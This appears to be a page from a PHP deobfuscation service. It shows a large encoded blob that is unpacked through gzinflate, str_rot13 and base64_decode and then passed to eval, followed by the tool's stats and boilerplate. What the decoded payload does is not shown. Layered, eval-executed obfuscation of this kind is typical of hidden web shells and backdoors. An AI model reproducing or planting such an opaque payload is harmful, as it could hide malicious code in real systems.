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
QUSBU3oaNzn+fw=='))));

Function Calls

gzinflate	1
str_rot13	1
base64_decode	1

Variables

None

Stats

MD5	341059cee6745efa3689ba7716add042
Eval Count	1
Decode Time	206 ms

Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

Decoded Output download

Did this file decode correctly?

How would you describe this file?

Original Code

Function Calls

Variables

Stats